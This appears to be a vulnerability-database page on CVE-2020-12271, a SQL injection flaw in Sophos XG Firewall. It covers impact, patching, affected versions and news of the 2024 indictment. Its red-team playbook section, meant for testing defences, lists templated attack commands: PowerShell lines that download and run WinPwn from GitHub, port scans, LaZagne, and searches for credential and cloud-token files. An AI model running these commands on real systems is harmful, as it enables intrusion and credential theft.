CVE-2020-12271
Overview
This vulnerability is a SQL injection flaw rooted in improper sanitization of user-supplied input within the administration (HTTPS) and User Portal services on Sophos XG Firewall devices. The injection occurs in the backend database query construction, enabling manipulation of SQL commands. Affected components include SFOS versions 17.0, 17.1, 17.5, and 18.0 prior to April 25, 2020, specifically when these services are exposed on the WAN zone.
Vulnerability Description
A SQL injection issue was found in SFOS 17.0, 17.1, 17.5, and 18.0 before 2020-04-25 on Sophos XG Firewall devices, as exploited in the wild in April 2020. This affected devices configured with either the administration (HTTPS) service or the User Portal exposed on the WAN zone. A successful attack may have caused remote code execution that exfiltrated usernames and hashed passwords for the local device admin(s), portal admins, and user accounts used for remote access (but not external Active Directory or LDAP passwords)
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary SQL commands on the backend database, leading to disclosure of usernames and hashed passwords for local device administrators, portal administrators, and remote access user accounts. This can result in unauthorized access to sensitive credentials and potential full system compromise through subsequent privilege escalation. The attack requires the administration or User Portal services to be exposed on the WAN interface, enabling exploitation without user interaction or valid credentials. The business impact includes data breach, loss of administrative control, and potential lateral movement within the network.
Solution
Sophos released security updates addressing this SQL injection vulnerability in SFOS versions 17.0, 17.1, 17.5, and 18.0 as of April 25, 2020. Administrators should upgrade affected Sophos XG Firewall devices to the patched versions referenced in Sophos advisory KB article 135412 (https://community.sophos.com/kb/en-us/135412). The vendor’s official guidance includes applying these updates promptly and restricting exposure of the administration and User Portal services to trusted networks only.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Sophos | Sfos | 17.0 |
cpe:2.3:o:sophos:sfos:17.0:*:*:*:*:*:*:*
|
|
|
Sophos | Sfos | 17.1 |
cpe:2.3:o:sophos:sfos:17.1:*:*:*:*:*:*:*
|
|
|
Sophos | Sfos | 17.5 |
cpe:2.3:o:sophos:sfos:17.5:*:*:*:*:*:*:*
|
|
|
Sophos | Sfos | 18.0 |
cpe:2.3:o:sophos:sfos:18.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Active exploitation confirmed with 23 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
Mentions (25)
0 mentions from 0 sources in the last 7 days BuzzFactor 0 / 100
-
social bsky.app @handle.invalid 2024-12-18 14:17 UTCChinese citizen Guan Tianfeng was indicted for a 2020 malware attack (CVE-2020-12271) targeting ~81,000 Sophos firewalls globally. The DOJ, FBI, and Sophos collaborated on the investigation, leading to indictments and sanctions.#SophosMalw…Open source
-
social bsky.app @adjordan.bsky.social 2024-12-17 05:24 UTC"Guan has been accused of developing and testing a zero-day security vulnerability used to conduct the attacks against Sophos firewalls." thehackernews.com/2024/12/us-c....Open source
-
news halcyon.ai 2024-12-16 08:00 UTCLast Week in Ransomware: 12.16.2024 - Halcyon Anti-Ransomware PlatformOpen source
-
social bsky.app @cwealthsentinel.bsky.social 2024-12-15 16:04 UTCU.S. Charges Chinese Hacker for Exploiting Zero-Day in 81,000 Sophos FirewallsOpen source
-
social bsky.app @bolhasec.com 2024-12-12 08:45 UTCNotícia da SecurityOnline "CVE-2020-12271 Explorada: FBI Procura Hacker Chinês por Violação de 81.000 Dispositivos" #bolhasecOpen source
-
social bsky.app @handle.invalid 2024-12-12 05:14 UTCChinese national Guan Tianfeng is charged in the US with hacking 81,000 Sophos firewalls in 2020, exploiting a critical zero-day vulnerability (CVE-2020-12271). A $10 million reward is offered for his arrest; he's believed to be in Sichuan…Open source
-
social bsky.app @shiojiri.com 2024-12-12 02:13 UTCCVE-2020-12271 Exploited: FBI Seeks Chinese Hacker Behind 81,000 Device Breach https://securityonline.info/cve-2020-12271-exploited-fbi-seeks-chinese-hacker-behind-81000-device-breach/Open source
-
social bsky.app @jkirk.bsky.social 2024-12-12 01:04 UTCThe U.S. indicted Guan Tianfeng, who worked for a Chinese gov't contractor, for attacking 81,000 Sophos firewalls using an 0-day SQL injection flaw (CVE 2020-12271) in 2020. If the follow-on malware was removed, the Rangarok ransomware was…Open source
-
social bsky.app @stringsvsatoms.bsky.social 2024-12-11 14:55 UTCU.S. has unsealed charges against a Chinese hacker for exploiting a zero-day vulnerability in 81,000 Sophos firewalls, enabling the infiltration of critical systems, the theft of sensitive data, and targeting U.S. infrastructure. thehacker…Open source
-
social bsky.app @pithysecurity.bsky.social 2024-12-11 12:45 UTC🚨 Chinese hacker charged for exploiting zero-day in 81,000 Sophos firewalls! 🇨🇳👨💻 Guan Tianfeng (aka gbigmao) allegedly breached devices globally in 2020. 🌎 US gov unseals charges of computer & wire fraud conspiracy. 🏛️ #Cybersecurity #Ha…Open source
-
social bsky.app @nimblenerd.social 2024-12-11 11:44 UTCFirewall Fiasco: Chinese Hackers Exploit Vulnerability in Global Ransomware Spree Chinese hackers exploit firewall vulnerability in daring data heist. Discover the shocking tale of digital espionage and ransomware in April 2020. https://bu…Open source
-
social bsky.app @bluecyber.bsky.social 2024-12-11 10:46 UTCthehackernews.com/2024/12/us-c...Open source
-
news thehackernews.com 2024-12-11 08:00 UTCU.S. Charges Chinese Hacker for Exploiting Zero-Day in 81,000 Sophos Firewalls - The Hacker NewsOpen source
-
news darkreading.com 2024-12-11 08:00 UTCChinese Hacker Pwns 81K Sophos Devices With Zero-Day - Dark ReadingOpen source
-
news infosecurity-magazine.com 2024-12-11 08:00 UTCUS Sanctions Chinese Firm at Center of Global Firewall Hack - Infosecurity MagazineOpen source
-
social bsky.app @techit.bsky.social 2024-12-11 07:00 UTCU.S. Charges Chinese Hacker for Exploiting Zero-Day in 81,000 Sophos Firewalls #thehackersnewsOpen source
-
news ithome.com.tw 2024-12-10 16:00 UTCCVE-2020-12271Open source
-
news thehackernews.com 2024-11-05 08:00 UTCFBI Seeks Public Help to Identify Chinese Hackers Behind Global Cyber Intrusions - The Hacker NewsOpen source
-
news industrialcyber.co 2024-11-04 08:00 UTCSophos reports five-year investigation into China-based cyber threats targeting critical infrastructure, FBI weighs in - Industrial CyberOpen source
-
news securityweek.com 2024-11-04 08:00 UTCFBI Seeking Information on Chinese Hackers Targeting Sophos Firewalls - SecurityWeekOpen source
-
news therecord.media 2024-11-01 07:00 UTCFBI wants more info on hackers behind Sophos exploitation after report on China’s intrusions - The Record from Recorded Future NewsOpen source
-
news sophos.com 2024-10-31 07:00 UTCPacific Rim timeline: Information for defenders from a braid of interlocking attack campaigns - SophosOpen source
-
news securityweek.com 2022-09-26 07:00 UTCSophos Firewall Zero-Day Exploited in Attacks on South Asian Organizations - SecurityWeekOpen source
-
news cxotoday.com 2022-03-29 05:44 UTCCVE-2020-12271: Zero-Day SQL Injection Vulnerability in Sophos XG Firewall Exploited in the WildOpen source
-
advisory rapid7.com 2020-04-27 07:00 UTCCVE-2020-12271: Sophos XG Firewall SQL Injection Vulnerability - Rapid7Open source
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-12271 |
| cwe.mitre.org |
GitHub CVE
x_refsource_MISC
|
https://cwe.mitre.org/data/definitions/89.html |
| community.sophos.com |
GitHub CVE
x_refsource_MISC
|
https://community.sophos.com/kb/en-us/135412 |
| news.sophos.com |
GitHub CVE
x_refsource_MISC
|
https://news.sophos.com/en-us/2020/04/26/asnarok/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-12271 |